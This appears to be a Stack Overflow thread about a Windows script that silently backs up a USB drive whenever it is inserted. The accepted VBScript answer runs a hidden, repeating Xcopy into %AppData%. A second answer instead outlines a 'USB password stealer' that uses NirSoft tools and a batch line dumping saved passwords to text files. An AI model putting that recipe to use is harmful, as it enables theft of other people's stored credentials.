1

Is there a program or a script for Windows (powershell maybe, or cmd) that can detect when a USB drive is plugged in and copy its contents in the hard drive of the PC?

It should be able to act autonomously without asking permission or opening confirmation or status windows.

I need it to create a backup of the drive every time that I connect it to the machine.

Hackoo
  • 18,337
  • 3
  • 40
  • 70
Chips
  • 117
  • 3
  • 10
  • Possibly [this post](https://stackoverflow.com/questions/10868613/detect-usb-and-copy-to-usb-drive-using-batch-script)? But it will need to constantly be running in order to check. – Bloodied Jan 24 '16 at 18:02
  • Yes, that's similar to what I need. I am aware of the fact that it has to be always running in the background. – Chips Jan 24 '16 at 18:15
  • I made a vbscript like that so if you like to post you this code,just add the tag vbscript – Hackoo Jan 24 '16 at 21:13
  • Hmm, is it the same USB each time? Then a file could be placed and i could easily make a code to check for that file in your..say `E:\` drive. – Bloodied Jan 24 '16 at 21:51

2 Answers2

3

This vbscript is used to automatically copy each and every newly inserted USB key or sdcard. For each USB key or every sdcard, it creates a folder of this form "MachineName_VolumeUSB_NumSerie" in the% AppData% folder and it makes a total copy for the first time and then incrementally, ie, it just copy the new files and files changed every 30 seconds.

'Sauvegarde automatique des clés USB et SDCARD dés leurs insertion.
'Ce Programme sert à copier automatiquement chaque clé USB nouvellement insérée ou bien une SDCard.
'Il sert à faire des Sauvegardes incrémentielles de vos clés USB.
'Pour chaque clé USB, il crée un dossier de cette forme "NomMachine_NomVolumeUSB_NumSerie" dans le dossier %AppData% et
'il fait une copie totale pour la première fois, puis incrémentielle , càd ,il copie juste les nouveaux fichiers et les fichiers modifiés.
'Crée le 23/09/2014 © Hackoo
Option Explicit
Do
   Call AutoSave_USB_SDCARD()
   Pause(30)
Loop
'********************************************AutoSave_USB_SDCARD()************************************************
Sub AutoSave_USB_SDCARD()
   Dim Ws,WshNetwork,NomMachine,AppData,strComputer,objWMIService,objDisk,colDisks
   Dim fso,Drive,NumSerie,volume,cible,Amovible,Dossier,chemin,Command,Result
   Set Ws = CreateObject("WScript.Shell")
   Set WshNetwork = CreateObject("WScript.Network")
   NomMachine = WshNetwork.ComputerName
   AppData= ws.ExpandEnvironmentStrings("%AppData%")
   cible = AppData & "\"
   strComputer = "."
   Set objWMIService = GetObject("winmgmts:" _
   & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
   Set colDisks = objWMIService.ExecQuery _
   ("SELECT * FROM Win32_LogicalDisk")

   For Each objDisk in colDisks
      If objDisk.DriveType = 2 Then
         Set fso = CreateObject("Scripting.FileSystemObject")
         For Each Drive In fso.Drives
            If Drive.IsReady Then
               If Drive.DriveType = 1 Then
                  NumSerie=fso.Drives(Drive + "\").SerialNumber
                  Amovible=fso.Drives(Drive + "\")
                  Numserie=ABS(INT(Numserie))
                  volume=fso.Drives(Drive + "\").VolumeName
                  Dossier=NomMachine & "_" & volume &"_"& NumSerie
                  chemin=cible & Dossier
                  Command = "cmd /c Xcopy.exe " & Amovible &" "& chemin &" /I /D /Y /S /J /C"
                  Result = Ws.Run(Command,0,True)
               end if
            End If   
         Next
      End If   
   Next
End Sub
'***************************************Fin du AutoSave_USB_SDCARD()*********************************************
'****************************************************************************************************************
Sub Pause(Sec)
   Wscript.Sleep(Sec*1000)
End Sub 
'****************************************************************************************************************
Hackoo
  • 18,337
  • 3
  • 40
  • 70
  • 1
    Thank you Hackoo, this is what I need. How can I change the location of the saved files on the computer (instead of %AppData%)? – Chips Jan 25 '16 at 17:16
  • @Chips Just change this variable cible = AppData & "\" by this one for example cible = "D:\USB_Backup\" or cible = "C:\USB_Backup\" – Hackoo Jan 25 '16 at 20:39
  • Thanks! Also, is there a way to search for specific files or folders in the usb before copying them over to the computer? For example copy only the files and folders that contain the characters xyz in the name – Chips Jan 25 '16 at 23:04
  • @Chips I think that it would be nicer that you will post it in another new question with the modifieded code ! – Hackoo Jan 26 '16 at 06:50
0

step 1: get yourself an usb drive.

step 2: download a list of tools. for more results. download every single tool from: http://www.nirsoft.net/utils/index.html#password_utils

step 2: create an batch file containing line's start filename /stext filename.txt

example: start mspass.exe /stext mspass.txt

for each program.

step3: test your "program" by plug the usb drive into a device. and click on the batch file you created.

"happy password recovering"

EDIT:

i found this on the internet too explaining very easily what I just wrote above + more

http://lifehacker.com/create-a-usb-password-stealer-to-see-how-secure-your-i-1650354166